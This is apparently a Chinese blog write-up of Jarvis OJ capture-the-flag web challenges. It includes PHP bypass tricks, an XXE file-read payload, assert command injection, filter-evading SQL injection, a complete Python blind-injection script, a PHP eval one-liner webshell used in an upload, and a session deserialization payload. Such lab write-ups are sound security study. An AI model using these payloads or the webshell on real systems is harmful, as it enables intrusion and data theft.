Jarvis OJ 刷题之旅 【填坑中】 IN A Mess :PHP api调用:XXE babyphp:PHP inject:sql普通注入 Simple Injection:sql盲注 Easy Gallery:文件上传 WEB?:JS PHPINFO:序列化 Chopper

Jarvis OJ 刷题之旅 【填坑中】
IN A Mess :PHP
api调用:XXE
babyphp:PHP
inject:sql普通注入
Simple Injection:sql盲注
Easy Gallery:文件上传
WEB?:JS
PHPINFO:序列化
Chopper

连出题人自己都忘了flag放哪了,只记得好像很混乱的样子。

题目入口:http://web.jarvisoj.com:32780/

题解:

f12获得源码:

<?php

error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
    header('Location: index.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'Hahahahahaha';
    return ;
}
$data = file_get_contents($a,'r');
var_dump(eregi("111".substr($b,0,1),"1114"));
var_dump(substr($b,0,1)!=4);
var_dump($data=="1112 is a nice lab!" );
var_dump(strlen($b)>5);
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    require("flag.txt");
}
else
{
    print "work harder!harder!harder!";
}
?>

构造:

  • $a控制文件,使得$data=="1112 is a nice lab!" 

伪协议php://input ;在网上发现了一种新的解法记录一下data类型的Url格式:把小数据直接嵌入到Url中

  • $id不能为0:!$_GET['id']
  • $id为0: $id==0 

弱类型绕过,0aaa

  • $b长度>5
  • $b开头为4:eregi("111".substr($b,0,1),"1114") 不区分大小写
  • $b开头不能为4:substr($b,0,1)!=4)

%00的绕过: strlen函数对%00不截断但substr截断

http://web.jarvisoj.com:32780/index.php?id=0a&a=php://input&b=%00411111a

1112 is a nice lab!

Jarvis OJ 刷题之旅 【填坑中】
IN A Mess :PHP
api调用:XXE
babyphp:PHP
inject:sql普通注入
Simple Injection:sql盲注
Easy Gallery:文件上传
WEB?:JS
PHPINFO:序列化
Chopper

?id=0a&a=data:text/html:,1112+is+a+nice+lab!&b=%00411111a

Jarvis OJ 刷题之旅 【填坑中】
IN A Mess :PHP
api调用:XXE
babyphp:PHP
inject:sql普通注入
Simple Injection:sql盲注
Easy Gallery:文件上传
WEB?:JS
PHPINFO:序列化
Chopper

后面就是注入,id=2得时候出现了sql语句

http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=0/*3*/UNIunionON/*3*/SELselectECT/*3*/1,2,database()

?id=-1/*3*/ununionion/*3*/seselectlect/*3*/2,3,group_concat(column_name)/*3*/frofromm/*3*/information_schema.columns/*3*/where/*3*/table_schema=database()%23--

id,context,title

?id=-1/*3*/ununionion/*3*/seselectlect/*3*/2,3,group_concat(id,context,title)/*3*/frofromm/*3*/content%23--


1PCTF{Fin4lly_U_got_i7_C0ngRatulation5}hi666

api调用:XXE

请设法获得目标机器/home/ctf/flag.txt中的flag值。

题目入口:http://web.jarvisoj.com:9882/

题解:

f12看源码,发现XMLHttpRequest(),考虑是不是可以利用xml。

function XHR() {
        var xhr;
        try {xhr = new XMLHttpRequest();}
        catch(e) {
            var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
            for (var i=0,len=IEXHRVers.length;i< len;i++) {
                try {xhr = new ActiveXObject(IEXHRVers[i]);}
                catch(e) {continue;}
            }
        }
        return xhr;
    }

function send(){
 evil_input = document.getElementById("evil-input").value;
 var xhr = XHR();
     xhr.open("post","/api/v1.0/try",true);
     xhr.onreadystatechange = function () {
         if (xhr.readyState==4 && xhr.status==201) {
             data = JSON.parse(xhr.responseText);
             tip_area = document.getElementById("tip-area");
             tip_area.value = data.task.search+data.task.value;
         }
     };
     xhr.setRequestHeader("Content-Type","application/json");
     xhr.send('{"search":"'+evil_input+'","value":"own"}');
}

接下来就是xxe读取任意文件: 未知攻焉知防——XXE漏洞攻防   浅谈XXE攻击

POST /api/v1.0/try HTTP/1.1
Host: web.jarvisoj.com:9882
Content-Length: 126
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Content-Type: application/xml
Accept: */*
Origin: http://web.jarvisoj.com:9882
Referer: http://web.jarvisoj.com:9882/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: UM_distinctid=1755625b1f332d-0b33a7f03def68-303464-1fa400-1755625b1f4197
Connection: close

<?xml version="1.0"?>
<!DOCTYPE abcd[
<!ENTITY laolao SYSTEM "file:///home/ctf/flag.txt">]>
<something>&laolao;</something>

 

babyphp:PHP

 题解:

根据about界面的提示,猜有一个git源码泄露 ,在GitHub上下一个GitHack获得源码

python GitHack.py http://web.jarvisoj.com:32798/.git

 index里面有个文件包含的的,看了一下flag.php内容备注掉了,直接访问没用

<?php
if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}
$file = "templates/" . $page . ".php";
var_dump($file);
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

assert 参数如果是字符串,会被当做php代码执行

?page='.passthru('cat templates/flag.php').'

#passthru — 执行外部程序并且显示原始输出

?page='. system('cat templates/flag.php').'

#system — 执行外部程序,并且显示输出

inject:sql普通注入

Hint1: 先找到源码再说吧~~

题解

  • ctfwebscan扫出源码index.php~
  • 反引号注入:DESC  `map`  `grade`不会报错
  • 这里有一个脑洞就是,table名字等于secret_flag(反正我没想到这个Orz)
  • union做联合查询,只要数据的字段数量,就行不在乎类型。返回结果会把这两个语句查出的结果做一个拼接,第一条的结果在前面,第二条的结果在后面

Jarvis OJ 刷题之旅 【填坑中】
IN A Mess :PHP
api调用:XXE
babyphp:PHP
inject:sql普通注入
Simple Injection:sql盲注
Easy Gallery:文件上传
WEB?:JS
PHPINFO:序列化
ChopperJarvis OJ 刷题之旅 【填坑中】
IN A Mess :PHP
api调用:XXE
babyphp:PHP
inject:sql普通注入
Simple Injection:sql盲注
Easy Gallery:文件上传
WEB?:JS
PHPINFO:序列化
Chopper

Jarvis OJ 刷题之旅 【填坑中】
IN A Mess :PHP
api调用:XXE
babyphp:PHP
inject:sql普通注入
Simple Injection:sql盲注
Easy Gallery:文件上传
WEB?:JS
PHPINFO:序列化
Chopper

?table=flag` ` union select group_concat(column_name) from information_schema.columns 
where table_schema=database() limit 1,1
-- 列名:flagUwillNeverKnow,username
?table=flag` ` union select group_concat(flagUwillNeverKnow) from secret_flag limit 1,1
--值:flag{luckyGame~}

Simple Injection:sql盲注

很简单的注入,大家试试?

题目入口:http://web.jarvisoj.com:32787/

题目来源:ISCC2016

题解:

 检测注入点:username=1' || 1#--

 学到了一种新的绕过姿势---> /*!*/

/*!SELECT*/ GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE table_schema=DATABASE()

MySQL SERVER supports SOME variants OF C-style comments. These ENABLE you TO WRITE CODE that includes MySQL extensions, but IS still portable, BY USING comments OF the FOLLOWING form:

/*! MySQL-specific code */

IN this CASE, MySQL SERVER parses AND executes the CODE WITHIN the COMMENT AS it would ANY other SQL statement, but other SQL servers will IGNORE the extensions. FOR EXAMPLE, MySQL SERVER recognizes the STRAIGHT_JOIN keyword IN the FOLLOWING statement, but other servers will NOT:

SELECT /*! STRAIGHT_JOIN */ col1 FROM table1,table2 WHEREIF you ADD a VERSION NUMBER AFTER the “!” CHARACTER, the syntax WITHIN the COMMENT IS executed ONLY IF the MySQL VERSION IS greater THAN OR equal TO the specified VERSION number. The TEMPORARY keyword IN the FOLLOWING COMMENT IS executed ONLY BY servers FROM MySQL 3.23.02 OR higher:

CREATE /*!32302 TEMPORARY */ TABLE t (a INT);

The COMMENT syntax just described applies TO how the mysqld SERVER parses SQL statements. The mysql CLIENT program also performs SOME parsing OF statements BEFORE sending them TO the server. (It does this TO determine statement boundaries WITHIN a multiple-statement input line.)

Jarvis OJ 刷题之旅 【填坑中】
IN A Mess :PHP
api调用:XXE
babyphp:PHP
inject:sql普通注入
Simple Injection:sql盲注
Easy Gallery:文件上传
WEB?:JS
PHPINFO:序列化
Chopper

# -*- coding:utf-8 -*-
import requests
import time

url = "http://web.jarvisoj.com:32787/login.php"
def db_length():
    global url
    for i in range(1, 10000):
        sql =  {
            'username':"1'|| LENGTH((/*!SELECT*/  GROUP_CONCAT(schema_name /*!SEPARATOR '@'*/ ) /*!FROM*/ information_schema.schemata))>{}#".format(i),
            'password': "1"
                }
        response = requests.post(url,sql).text
        # print(response)
        print(sql['username'])
        if "用户名错误" in response:
            print("所有数据库名长:", i)
            return i
def db_name(db_length):
    global url
    table_name = ''
    for num in range(1, db_length + 1):
        for asc in range(32, 128):
            sql = {
                'username': '''1' || ascii(substr((/*!SELECT*/  GROUP_CONCAT(schema_name /*!SEPARATOR*/ "," ) /*!FROM*/ information_schema.schemata),{},1))>{} #'''.format(num,asc),
                'password': "1"
            }
            response=requests.post(url,sql).text
            # print(sql['username'])
            if "用户名" in response:
                table_name += chr(asc)
                print("数据库名:", table_name)
                break
def table_length(database):
    global url
    for i in range(1, 10000):
        sql =  {
            'username':'''1'|| LENGTH((/*!SELECT*/ GROUP_CONCAT(TABLE_NAME) /*!FROM*/ information_schema.tables /*!WHERE*/ table_schema="{}"))>{}#'''.format(database,i),
            'password': "1"
                }
        response = requests.post(url,sql).text
        # print(response)
        print(sql['username'])
        if "用户名错误" in response:
            print("所有数据表名长:", i)
            return i
def table_name(table_length,database):
    global url
    table_name = ''
    for num in range(1, table_length + 1):
        for asc in range(32, 128):
            sql = {
                'username': '''1' || ascii(substr((/*!select*/ group_concat(table_name /*!separator "@"*/)  /*!from*/  information_schema.tables /*!where*/ table_schema="{}"),{},1))>{} #'''.format(database,num,asc),
                'password': "1"
            }
            response=requests.post(url,sql).text
            # print(sql['username'])
            if "用户名" in response:
                table_name += chr(asc)
                print("数据表名:", table_name)
                break
def column_length(table_name,database):
    global url
    for i in range(1, 10000):
        sql = {
            'username': '''1' || length((/*!SELECT*/ group_concat(column_name) /*!FROM*/ information_schema.columns /*!WHERE*/ table_name='{}' /*!and*/ table_schema="{}"))>{} #'''.format(table_name,database,i),
            'password': "1"
        }
        response = requests.post(url, sql).text
        # print(sql['username'])
        if "用户名" in response:
            print("字段长:", i)
            return i
def column_name(column_length,database):
    global url
    column_name = ''
    for num in range(1, column_length + 1):
        for asc in range(32, 128):
            sql = {
                'username': '''1' || ascii(substr((/*!select*/ group_concat(column_name /*!separator "@"*/)  /*!from*/  information_schema.columns /*!where*/ table_schema={}),{},1))>{} #'''.format(database,num, asc),
                'password': "1"
            }
            response = requests.post(url, sql).text
            # print(sql['username'])
            if "用户名" in response:
                column_name += chr(asc)
                print("字段名:", column_name)
                break
def data_length(column_name,table_name):
    global url
    for i in range(1, 10000):
        sql = {
            'username': '''1' || length((/*!SELECT*/ group_concat({}) /*!FROM*/ {} ))>{} #'''.format(column_name,table_name, i),
            'password': "1"
        }
        response = requests.post(url, sql).text
        # print(sql['username'])
        if "用户名" in response:
            print("{}字段长:{}".format(column_name,i))
            return i
def data_detail(data_length,column_name,table_name):
    global url
    data_name = ''
    for num in range(1, data_length + 1):
        for asc in range(32, 128):
            sql = {
                'username': '''1' || ascii(substr((/*!select*/ group_concat({} /*!separator "@"*/)  /*!from*/  {}),{},1))>{} #'''.format(column_name,table_name,num, asc),
                'password': "1"
            }
            response = requests.post(url, sql).text
            # print(sql['username'])
            if "用户名" in response:
                data_name += chr(asc)
                print("	>> {}字段名:{}".format(column_name,data_name))
                break
if __name__ == '__main__':
    # db_length()#所有数据库名长: 33
    # db_name(33)数据库名: information_schema,injection,test
    # table_length()#所有数据表名长: 5
    # db_list=['injection','test']
    # for d in db_list:
    #     print(d)
    #     table_name(table_length(d),d)#数据表名: admin(injection) ;test里面没有表
    # column_length('admin') #字段长: 20
    # column_name(20)#字段名: id@username@password(injection)
    # laolao = [ 'id','username','password']
    # for l in laolao:
    #     len = data_length(l,'admin')#password字段长:32
    #     data_detail(32, 'password', 'admin')#password字段名:334cfb59c9d74849801d5acdcfdaadc3(injection) md5 解密-->eTAloCrEP

Easy Gallery:文件上传

"没有什么防护是一个漏洞解决不了的,如果有,那就....."

题目入口:http://web.jarvisoj.com:32785/

题目来源:ISCC2016

题解:

/upload.php 上传图片马,在/index.php?page=uploads/1603960884.jpg%00 做读取,用00截断后面加上的.php,一句话比较麻烦,php的被掰了

<script language="php">@eval_r($_POST[lao])</script>

WEB?:JS

这么简单的题,是WEB吗?

题目入口:http://web.jarvisoj.com:9891/

题解:

看到一个输入框,还以为是xxe或者是注入,原来是前端的认证在app.js里面

t=[]
r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237,344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259]
o = [
    [11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135],
    [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221],
    [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230],
    [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80],
    [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45],
    [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70,107],
    [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24,249],
    [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158],
    [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98],
    [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141],
    [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119],
    [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94],
    [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123,208],
    [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50,196],
    [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40],
    [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232,123],
    [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249,236],
    [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119],
    [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196],
    [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66],
    [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214],
    [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212],
    [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235],
    [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233,156],
    [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31,198]
]
def P(pwd):
   global t
   for i in pwd:
       t.append(ord(i))
def E():
    global t,o,r
    #25x25
    i=0
    for n in range(25):
        for a in range(25):
            i += t[a] * o[n][a];
            if i != r[n]:
                return 0
def D():
    '''
    numpy.linalg.solve() 函数给出了矩阵形式的线性方程的解。
    https://www.runoob.com/numpy/numpy-linear-algebra.html
    :return:
    '''
    import numpy as np
    global o,r
    x = np.linalg.solve(np.array(o),np.array(r))
    print(x)
    for i in x:
        print(chr(int(np.round(i))),end="")
if __name__ == '__main__':
    # (1x25) * (25x25) = (1x25)
    # ==>>(输入的密码的ascii值) * (o矩阵) = (r矩阵)
    D()

PHPINFO:序列化

题解:

看源码new一个Oowo()得时候调用构造函数,将mdzz设置为phpinfo(),程序结束后调用析构函数出发payload。重点是如何触发发序列化。查了wp才知道这是用到的是session的反序列化。

session.serialize_handler:

  • 该配置主要设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数
  • 分类:
    • php_binary :键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
    • php: 键名+竖线(|)+经过serialize()函数处理过的值
    • (本题前端设置的是这个)
    • php_serialize: 经过serialize()函数处理过的数组,会将键名和值当作一个数组序列化
    • (本题后台处理设置的是这个)
  • Master Value是PHP.ini文件中的内容。
  • Local value 是当前目录中的设置,这个值会覆盖Master Value中对应的值
  • phpinfo中的session.save_handler=""设置为了php_serialize

session.upload_progress.enabled:

  • 启用上传进度跟踪,并填充$ _SESSION变量, 默认启用。
  • (用来向session添加一条记录)
  • post一个和session.upload_progress.name同名的变量,来使得我们上传的东西写入session
  • (查phpinfo得到变量名为PHP_SESSION_UPLOAD_PROGRESS)

看到师傅们的payload都加了转义,这是因为payload放到里文件名里,filename的用""闭合,所以需要转义

|O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

其实也可以不用转义,放到data里面也行,带你走进PHP session反序列化漏洞 

Jarvis OJ 刷题之旅 【填坑中】
IN A Mess :PHP
api调用:XXE
babyphp:PHP
inject:sql普通注入
Simple Injection:sql盲注
Easy Gallery:文件上传
WEB?:JS
PHPINFO:序列化
Chopper
Jarvis OJ 刷题之旅 【填坑中】
IN A Mess :PHP
api调用:XXE
babyphp:PHP
inject:sql普通注入
Simple Injection:sql盲注
Easy Gallery:文件上传
WEB?:JS
PHPINFO:序列化
Chopper

Chopper

小明入侵了一台web服务器并上传了一句话木马,但是,管理员修补了漏洞,更改了权限。更重要的是:他忘记了木马的密码!你能帮助他夺回控制权限吗?

关卡入口:http://web.jarvisoj.com:32782/

题目来源:ISCC2016

题解:

 emmmm,怎么打都灭用,用了其他师傅的payload也不行,先坑着